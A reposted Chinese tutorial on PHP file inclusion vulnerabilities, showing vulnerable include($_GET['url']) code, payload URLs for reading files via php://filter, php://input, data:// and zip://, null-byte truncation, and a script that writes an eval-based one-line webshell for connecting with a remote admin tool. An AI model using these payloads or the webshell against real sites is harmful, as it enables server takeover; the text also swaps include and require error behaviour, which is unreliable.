文件包含
站在用戶的角度思考問(wèn)題,與客戶深入溝通,找到澤普網(wǎng)站設(shè)計(jì)與澤普網(wǎng)站推廣的解決方案,憑借多年的經(jīng)驗(yàn),讓設(shè)計(jì)與互聯(lián)網(wǎng)技術(shù)結(jié)合,創(chuàng)造個(gè)性化、用戶體驗(yàn)好的作品,建站類型包括:網(wǎng)站建設(shè)、網(wǎng)站設(shè)計(jì)、企業(yè)官網(wǎng)、英文網(wǎng)站、手機(jī)端網(wǎng)站、網(wǎng)站推廣、申請(qǐng)域名、虛擬空間、企業(yè)郵箱。業(yè)務(wù)覆蓋澤普地區(qū)。
文件包含,就是在一個(gè)要運(yùn)行的PHP腳本中,去將另外一個(gè)PHP腳本中的代碼拿過(guò)來(lái),并且可以使用其被包含的文件里的內(nèi)容,或者說(shuō)將自己的內(nèi)容能夠在另外一個(gè)被包含的文件中使用。
文件包含基本語(yǔ)法
PHP中提供了四種文件包含的方法,分別是include和include_once,require和require_once,其中四種方式的用法完全一樣
include/include_once/require/equire_once '文件所在路徑及文件名';PHP文件包含
PHP提供了四個(gè)文件包含函數(shù)提供的功能強(qiáng)大且靈活多變,經(jīng)常存在文件包含函數(shù)
include()
無(wú)法查到被包含的文件時(shí)產(chǎn)生錯(cuò)誤"E_COMPLE_ERROR"停止運(yùn)行
include_once()
和前者一樣,如果文件中的代碼已經(jīng)包含了,則不再會(huì)包含
require()
無(wú)法查到被包含的文件是產(chǎn)生警告"E_WARNING"繼續(xù)運(yùn)行
require_once()
和前者一樣,無(wú)法查到被包含的文件是產(chǎn)生警告"E_WARNING"繼續(xù)運(yùn)行
開(kāi)發(fā)演示
<?php include("ArrayUtil.php"); //利用include函數(shù)包含 $arr = array("sougou","google","yahoo","baidu","FackBook"); PrintArr($arr); ?>
<?php function PrintArr($arr,$sp=' ==> ',$lin="<br/>"){ foreach ($arr as $key => $value) { echo "$key $sp $value $lin"; } } ?>
在index.php文件中使用include函數(shù)文件包含ArrayUtil.php文件,在index.php中可以使用ArrayUtil.php文件中的PrintArr()函數(shù);在index.php第4行我們調(diào)用了PrintArr()函數(shù)。
使用瀏覽器訪問(wèn)index.php
漏洞演示(本地執(zhí)行)
<?php include("phpinfo.txt"); ?>
<?php phpinfo(); ?>
喏!一個(gè)txt文件被成功包含了;筆者測(cè)試了其它各種服務(wù)器可接受的文件格式,均實(shí)驗(yàn)成功!由此筆者得到的論證是:include()函數(shù)包含的任何文件都會(huì)以PHP文件解析,但前提是文件的內(nèi)容符合PHP代碼規(guī)范;若內(nèi)容不符合PHP代碼規(guī)范則會(huì)在頁(yè)面暴露文件內(nèi)容(這是重點(diǎn))
漏洞演示(遠(yuǎn)程執(zhí)行)
PHP不單單可以在服務(wù)端(本地)執(zhí)行文件包含,也可以遠(yuǎn)程執(zhí)行文件包含;
遠(yuǎn)程的文件包含執(zhí)行需要修改PHP.ini配置文件(php默認(rèn)關(guān)閉遠(yuǎn)程包含文件)
allow_url_include = on
由于我們不具備遠(yuǎn)程條件,只好本地搭建環(huán)境將就一下哈?。。?/p>
D:\phpStudy\phpinfo.txt
<?php phpinfo(); ?>
127.0.0.1/index.php
<?php include("D:\phpStudy\phpinfo.txt"); ?>
換一個(gè)方法
<?php include($_GET['url']); ?>// 記住這個(gè)代碼后面會(huì)一直使用
這里的URL參數(shù)值提交的只是一個(gè)遠(yuǎn)程包含文件的URL地址;遠(yuǎn)程文件包含和本地文件包含的解析方法一樣,只要符合PHP代碼規(guī)范就可以按照PHP代碼解析執(zhí)行。
如果我們包含的文件不存在,則會(huì)發(fā)生Error,網(wǎng)站的路徑就會(huì)暴露!
讀取敏感文件
構(gòu)造類似http://127.0.0.1/?url=.\phpinfo.txt
喏!我們看見(jiàn)了文本內(nèi)容,為什么呢?
因?yàn)閕nclude()函數(shù)會(huì)執(zhí)行文件包含,不管是什么格式的文件只要符合PHP代碼規(guī)范的內(nèi)容就會(huì)按照PHP解析;而不符合PHP代碼規(guī)范的則會(huì)直接輸出文件內(nèi)容。
綜合特性:利用該特性包含文件的方法,訪問(wèn)本地的其它文件均會(huì)執(zhí)行php解析或者回顯文本的內(nèi)容;尤其是系統(tǒng)敏感文件,例如php.ini配置文件、my.ini配置文件等敏感信息,而文件的路徑則需要結(jié)合其它姿勢(shì)來(lái)獲得(例如上面利用error回顯的方式)
重要的一點(diǎn):得具有文件的操作權(quán)限哦
遠(yuǎn)程包含Shell
遠(yuǎn)程包含文本的條件是 allow_url_fopen= on
創(chuàng)建shell.txt(功能:在服務(wù)端本地創(chuàng)建一句話木馬腳本)
<?php $key= ("<?php @eval(\$_POST['mirror']);?>");//$符號(hào)需要轉(zhuǎn)義要按字符存 $file = fopen("shell.php","w"); fwrite($file, $key); fclose($file); ?>
構(gòu)造:http://127.0.0.1/?url=..\xx\shell.txt
遠(yuǎn)程包含文本執(zhí)行成功后,服務(wù)端本地會(huì)創(chuàng)建一個(gè)"shell.php"一句話木馬執(zhí)行文件
shell.php創(chuàng)建后,使用“菜刀”連接一句話:
喏!包含執(zhí)行文件創(chuàng)建本地一個(gè)shell.php一句話木馬,然后菜刀連木馬!一梭子搞定!
文件包含配合上傳
利用web應(yīng)用的上傳功能,上傳一張偽木馬圖片,然后利用文件包含執(zhí)行已上傳的圖片,然后偽木馬圖片的功能就是被包含執(zhí)行后在服務(wù)端本地創(chuàng)建一個(gè)木馬執(zhí)行php文件
PHP封裝協(xié)議利用
PHP內(nèi)置很多的PHP封裝協(xié)議(詳細(xì)見(jiàn)官方文檔),封裝協(xié)議的功能和文件函數(shù)(fopen(),copy(),file_exists(),filesize())提供的功能相似
allow_url_fopen:on 默認(rèn)開(kāi)啟 該選項(xiàng)為on便是激活了 URL 形式的 fopen 封裝協(xié)議使得可以訪問(wèn) URL 對(duì)象文件等。
allow_url_include:off 默認(rèn)關(guān)閉,該選項(xiàng)為on便是允許 包含URL 對(duì)象文件等
考慮安全都是全部關(guān)閉
內(nèi)置封裝協(xié)議
【引用官方文檔】
file://協(xié)議:
訪問(wèn)本地文件系統(tǒng)
file://[本地文件的絕對(duì)路徑和文件名]
php://協(xié)議:
訪問(wèn)各個(gè)IO流
需要開(kāi)啟 allow_url_include: on
php://stdin:直接訪問(wèn)PHP進(jìn)程相應(yīng)的輸入或輸出流(只讀)
php://stdout:直接訪問(wèn)PHP進(jìn)程相應(yīng)的輸入或輸出流(只寫(xiě))
php://stderr:直接訪問(wèn)PHP進(jìn)程相應(yīng)的輸入或輸出流(只寫(xiě))
php://filter:進(jìn)行任意文件讀取的利用
php://input:訪問(wèn)請(qǐng)求的原始數(shù)據(jù)的只讀流,將post請(qǐng)求中的數(shù)據(jù)作為php解析
php://output:只寫(xiě)的數(shù)據(jù)流,允許print和echo方式寫(xiě)入到輸出緩存中
php://fd: 允許直接訪問(wèn)指定的文件描述符
更多詳細(xì)可以參考官方php://協(xié)議文檔
zip://協(xié)議:
(zip:// , bzip2:// , zlib:// )屬于壓縮流,可以訪問(wèn)壓縮文件中的子文件,更重要的是不需要指定后綴名
zip:// [壓縮文件絕對(duì)路徑]#[壓縮文件內(nèi)的子文件名]
注意 井字符號(hào) ’ # ‘ 在url中需要轉(zhuǎn)為 %23
data://協(xié)議:
data://text/plain;base64,[string_base64加密后]
glob://協(xié)議:
查詢匹配的文件路徑模式
glob://[url]
<?php // 循環(huán) ext/spl/examples/ 目錄里所有 *.php 文件 // 并打印文件名和文件尺寸 $it = new DirectoryIterator("glob://ext/spl/examples/*.php"); foreach($it as $f) { printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024); } ?>
expect://協(xié)議:
處理交互式數(shù)據(jù)流(默認(rèn)未開(kāi)啟,需要安裝PECL—Expect擴(kuò)展)
expect://command
參見(jiàn)文章:php偽協(xié)議實(shí)現(xiàn)命令執(zhí)行的七種姿勢(shì)
讀取PHP文件
利用file://讀取文件內(nèi)容
file://[本地文件的絕對(duì)路徑和文件名]
利用php://filter讀取php文件內(nèi)容
http://127.0.0.1/?url=php://filter/read=convert.base64-encode/resource=shelll.php
這里的結(jié)果是經(jīng)過(guò)Base64加密的
利用php://input:
使用php://input可以執(zhí)行PHP語(yǔ)句,但是受限于allow_utl_include= On
url text:
http://127.0.0.1/index.php/?url=php://input
Post data:
<?php phpinfo();?>
喏!利用“php://input"執(zhí)行php代碼”post data數(shù)據(jù)內(nèi)容“,這里只是回顯phpinfo(),如果我們利用php://input執(zhí)行服務(wù)端本地創(chuàng)建php一句話木馬文件,后果可想而知
利用data://:
受限于allow_utl_include= Onphp.ini配置
?file=[data://text/plain;base64,[base64編碼加密的payload)]
注意沒(méi)有php閉合標(biāo)簽
利用zip://:
?url=zip://C:\Users\Mirror\Desktop/zip.zip%23shell.php
總結(jié)
上面這張圖是筆者從FREEBUF漏斗社區(qū)的文章中copy來(lái)的,算是一個(gè)不錯(cuò)的總結(jié)^_^
截?cái)喟?/strong>
magic_quotes_gpc = off函數(shù)為Off狀態(tài)才可以使用,因?yàn)樵贠n狀態(tài)下%00會(huì)被轉(zhuǎn)義導(dǎo)致無(wú)法截?cái)?;https://www.cnblogs.com/timelesszhuang/p/3726736.html
PHP6/7關(guān)閉了magic_quotes_gpc函數(shù): PHP6\7關(guān)閉magic_quotes_gpc對(duì)程序的影響
文件包含的漏洞修復(fù),尤其是include()相關(guān)文件包含函數(shù),只要限制后綴名就好了?
<?php if(iset($_GET['url'])){ include $_GET['url'].".php"; } else{ include 'home.php'; } ?>
上述程序就是固定限制后綴名,用戶只需要指明文件名就可以,不需要用戶提交后綴名
現(xiàn)在我們利用之前的包含手段,包含"shell.php"文件
http://127.0.0.1/index.php/?url=shell.php
由于程序固定了文件后綴格式,于是在后臺(tái)會(huì)構(gòu)成
shell.php.php
而include()無(wú)法查找到“shell.php.php”,故此導(dǎo)致報(bào)錯(cuò)
采用字節(jié)截?cái)?/p>
http://127.0.0.1/index.php/?url=shell.php%00
PHP5.2+的版本漸漸的都修復(fù)了字節(jié)截?cái)?,所以很少有利用?/p>
以上就是php文件包含漏洞原理淺探的詳細(xì)內(nèi)容,更多請(qǐng)關(guān)注創(chuàng)新互聯(lián)其它相關(guān)文章!
本文題目:php文件包含的漏洞和處理方法
轉(zhuǎn)載源于:http://www.rwnh.cn/article26/gjhhcg.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站導(dǎo)航、品牌網(wǎng)站建設(shè)、App設(shè)計(jì)、微信公眾號(hào)、小程序開(kāi)發(fā)、全網(wǎng)營(yíng)銷推廣
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)